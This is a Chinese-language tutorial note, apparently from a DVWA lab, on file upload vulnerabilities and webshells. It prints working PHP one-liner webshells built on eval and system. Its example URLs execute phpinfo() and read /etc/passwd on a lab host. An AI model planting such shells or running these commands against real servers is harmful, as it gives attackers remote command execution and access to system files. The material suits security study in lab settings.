簡介

1. 檔案上傳(File Upload )是大部分Web應用都具備的功能,例如使用者上傳附件、修改頭像、分享圖片/視訊等
2. 正常的檔案一般是文件、圖片、視訊等, Web應用收集之後放入後臺儲存,需要的時候再調用出來返回
3. 如果惡意檔案如PHP,ASP等執行檔案繞過web應用,並順利執行,則相當於黑客直接拿到了webshe11
4. 一旦黑客拿到Webshel1 ,則可以拿到Web應用的資料,刪除Web檔案,本地提權,進一步拿下整個伺服器甚至內網
5. SQL注入攻擊的物件是資料庫服務,檔案上傳漏洞主要攻擊Web服務,實際滲透兩種相結合,達到對目標的深度控制

實驗

實驗一

實驗二

對於text檔案型別若沒有特定的subtype，就使用 text/plain。類似的，二進位制檔案沒有特定或已知的 subtype，即使用 application/octet-stream。

Webshell

小馬：一句話木馬也稱為小馬,即整個shell程式碼量只有一行,一般是系統執行函式

大馬：程式碼量和功能比小馬多,一般會進行二次編碼加密,防止被安全防火牆/入侵系統檢測到

shell1.php #檔名稱

eval使用php函式，例如phpinfo()

程式碼如下

<?php eval($_REQUEST['password']);?>

示例

http://10.3.139.173/dvwa/hackable/uploads/shell1.php?password=phpinfo();

shell2.php #檔名稱

system使用Linux系統命令，例如1s，cp，rm

程式碼如下

<?php system($_REQUEST['password']);?>

示例

http://10.3.139.173/dvwa/hackable/uploads/shell2php?password=cat /etc/passwd

<?php @eval($_POST['password']);?>

說明：REQUEST是在網頁端輸入變數訪問，POST則是使用像中國菜刀之類的工具連線，是C/S架構。